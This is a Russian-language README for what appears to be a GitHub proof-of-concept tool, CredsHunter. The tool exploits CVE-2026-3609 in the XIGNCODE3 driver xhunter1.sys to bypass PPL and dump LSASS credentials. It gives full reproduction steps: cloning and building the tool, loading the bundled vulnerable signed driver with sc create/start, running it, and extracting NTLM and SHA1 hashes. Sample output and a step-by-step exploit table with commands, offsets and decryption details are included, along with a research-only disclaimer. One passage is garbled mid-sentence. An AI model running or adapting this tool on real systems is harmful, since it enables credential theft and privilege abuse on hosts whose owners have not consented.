
PoC для CVE-2026-3609 — утечка дескриптора в xhunter1.sys (XIGNCODE3), позволяющая обойти PPL и снять дамп LSASS.
PoC дампа учётных данных LSASS через утечку дескриптора процесса в обход PPL в драйвере античита XIGNCODE3 компании Wellbia — xhunter1.sys.
Драйвер предоставляет интерфейс команд IRP_MJ_WRITE, который вызывает ObOpenObjectByPointer с AccessMode = KernelMode и без флага OBJ_KERNEL_HANDLE, помещая созданный в режиме ядра дескриптор PROCESS_ALL_ACCESS прямо в таблицу дескрипторов вызывающего. Далее стандартный код дампа учётных данных читает 3DES-ключ lsasrv.dll из целевого процесса и восстанавливает NTLM- и SHA1-хеши для всех активных сеансов входа.
xhunter1.sys version 10.0.10011.16384
SHA-256 e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e
Подверженный уязвимости подписанный драйвер включён в этот репозиторий (xhunter1.sys), чтобы эксплойт можно было воспроизвести от начала до конца. Проверьте хеш перед загрузкой:
Get-FileHash .\xhunter1.sys -Algorithm SHA256
Более новые выпуски XIGNCODE3 уже пропатчены. Подверженный уязвимости подписанный бинарный файл остаётся пригодным в качестве BYOVD-примитива на любом хосте, где его можно разместить и загрузить.
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release
Готовый бинарный файл размещается по пути target\release\CredsHunter.exe.
Загрузите прилагаемый драйвер как службу ядра (DACL устройства драйвера разрешает доступ любому вызывающему, как только он запущен):
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter
Запустите инструмент:
.\target\release\CredsHunter.exe
Чтобы затем выполнить очистку:
sc stop xhunter
sc delete xhunter
Имя устройства по умолчанию — \\.\xhunter (соответствует имени службы из примера выше). Если ваша служба использует другое имя, путь к устройству будет соответствовать ему — измените driver::DEFAULT_DEVICE или соответствующим образом вызовите Xhunter::open_named.
xhunter1.sys BYOVD — LSASS credential dump
CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)
[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000 remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x... 3DES 0x... IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>
===== LogonSessionList =====
[0001] LogonSession @ 0x...
User : <username>
Domain : <domain>
NTHash : <16 bytes hex>
SHA1 : <20 bytes hex>
[...]
src/
├── main.rs # banner, run flow, ExitCode handling
├── driver.rs # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs # find_pid, PEB-walk remote module lookup
├── pe.rs # local PE parsing + pattern scan + RIP decode
├── lsa.rs # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs # WDigest list walker (best-effort)
└── sys.rs # OS build number
Трейт MemReader абстрагирует чтение памяти, чтобы модули извлечения учётных данных не зависели от конкретного примитива драйвера. Реализуйте этот трейт для другого ридера (например, среды выполнения Beacon Object File или ридера физической памяти на основе ptwalk) — и модули lsa / logon / wdigest подключатся без изменений.
48 3B D9 74), унаследованный от оригинального публичного PoC, и не обновлялась для Windows 11 сборки 26100 и новее. Доработать это до таблицы для каждой сборки несложно; пул-реквесты приветствуются.xhunter. Если вы загружаете драйвер под другим именем, измените driver::DEFAULT_DEVICE или передайте переопределение в Xhunter::open_named.Только для исследований, авторизованного тестирования и защитных инструментов. Загрузка подверженного уязвимости драйвера на систему, которая вам не принадлежит или на тестирование которой у вас нет явного разрешения, является преступлением в большинстве юрисдикций. Автор не несёт ответственности за неправомерное использование.
См. LICENSE.
| Этап | Компонент | Что происходит |
|---|
| 1 | driver.rs → Xhunter::open | CreateFile("\\.\\xhunter") — без аутентификации на устройстве |
| 2 | driver.rs → Xhunter::open_process | WriteFile с командой 785 (PID, PROCESS_ALL_ACCESS). Драйвер вызывает ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) и записывает дескриптор обратно в пользовательский буфер ответа по смещению +0x10. Дескриптор обходит PPL, поскольку AccessMode = KernelMode пропускает проверку доступа, а в нашу таблицу дескрипторов он попадает потому, что флаг OBJ_KERNEL_HANDLE не установлен. |
| 3 | driver.rs → Session::attach | Проверяет ReadProcessMemory через созданный в режиме ядра дескриптор. Если RPM заблокирован, переключается на команду драйвера 787 (KeStackAttachProcess + memcpy). |
| 4 | lsa.rs | Выполняет поиск по сигнатурам в .text локального lsasrv.dll, чтобы восстановить RIP-относительные указатели на AES-ключ, 3DES-ключ и IV внутри LsaInitializeProtectedMemory. Пересчитывает эти виртуальные адреса относительно маппинга целевого процесса, обходит цепочку BCRYPT_HANDLE_KEY → BCRYPT_KEY81 и извлекает исходные 3DES-байты из целевого процесса. |
| 5 | logon.rs | Обходит LogonSessionList (таблица сигнатур для каждой сборки). Основные учётные данные каждой записи по пути +credentials → +0x10 → +0x30 содержат зашифрованный 3DES-блоб размером 0x1B0 байт. bcrypt.dll расшифровывает его; байты 70..86 — это NT-хеш, 102..122 — SHA1. |